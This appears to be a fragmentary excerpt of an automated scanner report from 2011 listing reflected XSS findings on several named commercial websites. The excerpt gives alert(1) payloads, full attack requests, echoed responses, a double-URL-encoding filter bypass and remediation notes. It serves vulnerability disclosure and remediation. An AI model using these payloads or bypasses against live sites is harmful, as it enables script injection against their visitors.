HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:25 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 15948 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2823a%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522cc7ad40ada9 was submitted in the REST URL parameter 1. This input was echoed as 2823a"style="x:expression(alert(1))"cc7ad40ada9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /includes2823a%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522cc7ad40ada9/service/ServiceRequest.php HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:27 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 16020
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7d82%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252275ac574aa365db623 was submitted in the REST URL parameter 1. This input was echoed as d7d82"style="x:expression(alert(1))"75ac574aa365db623 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:13:59 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16158 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c682%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25223414df360a288b344 was submitted in the REST URL parameter 2. This input was echoed as 1c682"style="x:expression(alert(1))"3414df360a288b344 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:14:04 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16158 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75c9a%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252260b6cb7f769 was submitted in the REST URL parameter 2. This input was echoed as 75c9a"style="x:expression(alert(1))"60b6cb7f769 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /includes/service75c9a%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252260b6cb7f769/ServiceRequest.php HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:43 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 16020
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea6fe%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522340b0ad87b28b5c88 was submitted in the REST URL parameter 3. This input was echoed as ea6fe"style="x:expression(alert(1))"340b0ad87b28b5c88 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:14:09 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16158 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9a5f%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25222731bd783c2 was submitted in the REST URL parameter 3. This input was echoed as b9a5f"style="x:expression(alert(1))"2731bd783c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /includes/service/ServiceRequest.phpb9a5f%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25222731bd783c2 HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:56 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 16020
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73b8a%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252201a2721be2b39278d was submitted in the REST URL parameter 1. This input was echoed as 73b8a"style="x:expression(alert(1))"01a2721be2b39278d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:23:25 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 17664 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8f80%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224aa68541312 was submitted in the REST URL parameter 1. This input was echoed as b8f80"style="x:expression(alert(1))"4aa68541312 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /results.phpb8f80%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224aa68541312 HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:20:15 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 15876
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of the b request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc879'%3balert(1)//59a76af06ac was submitted in the b parameter. This input was echoed as bc879';alert(1)//59a76af06ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.156. http://www.duiattorney.com/zip_search/zip_search.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.duiattorney.com
Path:
/zip_search/zip_search.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77f06'%3balert(1)//9c92fe1bb26 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 77f06';alert(1)//9c92fe1bb26 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the background request parameter is copied into the HTML document as plain text between tags. The payload c2b61<img%20src%3da%20onerror%3dalert(1)>d07f762b724 was submitted in the background parameter. This input was echoed as c2b61<img src=a onerror=alert(1)>d07f762b724 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
2.158. http://www.duiattorney.com/zip_search/zip_styles.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.duiattorney.com
Path:
/zip_search/zip_styles.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload b688b<img%20src%3da%20onerror%3dalert(1)>34a29ec1945 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b688b<img src=a onerror=alert(1)>34a29ec1945 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
2.159. http://www.edgetechcorp.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.edgetechcorp.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33959"style%3d"x%3aexpression(alert(1))"5bec54953c1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 33959"style="x:expression(alert(1))"5bec54953c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /?33959"style%3d"x%3aexpression(alert(1))"5bec54953c1=1 HTTP/1.1 Host: www.edgetechcorp.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=3&c2=302 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the dhb request parameter is copied into the HTML document as plain text between tags. The payload a4603<script>alert(1)</script>64717febc73 was submitted in the dhb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1956e'-alert(1)-'32e4392ea3a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<head> <title>404 Not Fo ...[SNIP]...
} }
function Parameter_Submit(varParameter) { var varAction;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db808'-alert(1)-'77511b4e3e4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /db808'-alert(1)-'77511b4e3e4 HTTP/1.1 Host: www.giftsforeurope.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=216&c2=283 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<head> <title>404 Not Fo ...[SNIP]... break; } }
function Parameter_Submit(varParameter) { var varAction;
The value of the CID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53840"style%3d"x%3aexpression(alert(1))"6d75e867ab8 was submitted in the CID parameter. This input was echoed as 53840"style="x:expression(alert(1))"6d75e867ab8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
<!doctype html public "-//w3c//dtd html 4.0 transitional//en" > <html> <head> <title>Online Tee Times</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta c ...[SNIP]... <a href="details.aspx?SD=31da982f-416f-470e-b469-f02649ef386a&CID={DC57DACD-A16B-4256-A027-9992DC9603F1}53840"style="x:expression(alert(1))"6d75e867ab8&OID=2179&TM=1726&M=3&TID=78908795&FID=43&GCID=162&TType=DISC"> ...[SNIP]...
The value of the CID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e4bb%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25228ef31a24abb was submitted in the CID parameter. This input was echoed as 2e4bb"style="x:expression(alert(1))"8ef31a24abb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the CID request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /combinedsearch.aspx?CID={DC57DACD-A16B-4256-A027-9992DC9603F1}2e4bb%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25228ef31a24abb&OID=2179&AID=3&FID=43 HTTP/1.1 Host: www.golffacility.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.golflink.com/golf-courses/golf-tee-times/teetime.aspx?course=1701056 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!doctype html public "-//w3c//dtd html 4.0 transitional//en" > <html> <head> <title>Online Tee Times</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta c ...[SNIP]... <a href="details.aspx?SD=7f60da7a-c535-4a30-91b2-26f91ee7a340&CID={DC57DACD-A16B-4256-A027-9992DC9603F1}2e4bb"style="x:expression(alert(1))"8ef31a24abb&OID=2179&TM=1817&M=3&TID=78908795&FID=43&GCID=162&TType=DISC"> ...[SNIP]...
2.165. http://www.incorp.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.incorp.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4175a"style%3d"x%3aexpression(alert(1))"5f84b168e30 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4175a"style="x:expression(alert(1))"5f84b168e30 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /?4175a"style%3d"x%3aexpression(alert(1))"5f84b168e30=1 HTTP/1.1 Host: www.incorp.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=4&c2=273 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into an HTML comment. The payload 75bbb--><script>alert(1)</script>81f6aea10a3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The value of REST URL parameter 2 is copied into an HTML comment. The payload ef1f7--><script>alert(1)</script>3092dab99b8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload feb04<script>alert(1)</script>c5eba393b20 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the __svcPath request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad694"%3balert(1)//5206983c362 was submitted in the __svcPath parameter. This input was echoed as ad694";alert(1)//5206983c362 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
var Glossaryws=new function() { this.path = "http://www.pcmemorystore.com/Glossaryws.asmxad694";alert(1)//5206983c362"; this.appPath = "http://www.pcmemorystore.com//"; var cm=Sys.Net.ServiceMethod.createProxyMethod; cm(this,"GetDefinition","Word"); }
2.170. http://www.pettravelcenter.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.pettravelcenter.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload d8ef7<a>cca48b91416 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /?d8ef7<a>cca48b91416=1 HTTP/1.1 Host: www.pettravelcenter.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:04:52 GMT Server: Apache X-Powered-By: PHP/5.2.12 Content-Length: 70 Connection: close Content-Type: text/html
The URI you submitted has disallowed characters: d8ef7<a>cca48b91416=1
2.171. http://www.pettravelcenter.com/page_items/itemList/78 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pettravelcenter.com
Path:
/page_items/itemList/78
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ef5a"><script>alert(1)</script>9d657ca93f0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /page_items/itemList/78?2ef5a"><script>alert(1)</script>9d657ca93f0=1 HTTP/1.1 Host: www.pettravelcenter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
2.172. http://www.pettravelcenter.com/page_items/viewSingle/23 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pettravelcenter.com
Path:
/page_items/viewSingle/23
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76660"><script>alert(1)</script>2b53883b0d4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /page_items/viewSingle/23?76660"><script>alert(1)</script>2b53883b0d4=1 HTTP/1.1 Host: www.pettravelcenter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6c92f<script>alert(1)</script>fc90fa16138 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload fbedf<script>alert(1)</script>ad578f4d262 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 27508<a>62fafc29679 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 567b7<script>alert(1)</script>87fd9f8abd6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates567b7<script>alert(1)</script>87fd9f8abd6/PlanSwift_Template/favicon.ico HTTP/1.1 Host: www.planswift.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 68236d4ee32ab7678c69c50cb45eafc1=1f1e3c7df635d7c3c6fd020449016e4e; WRUID=0
Response
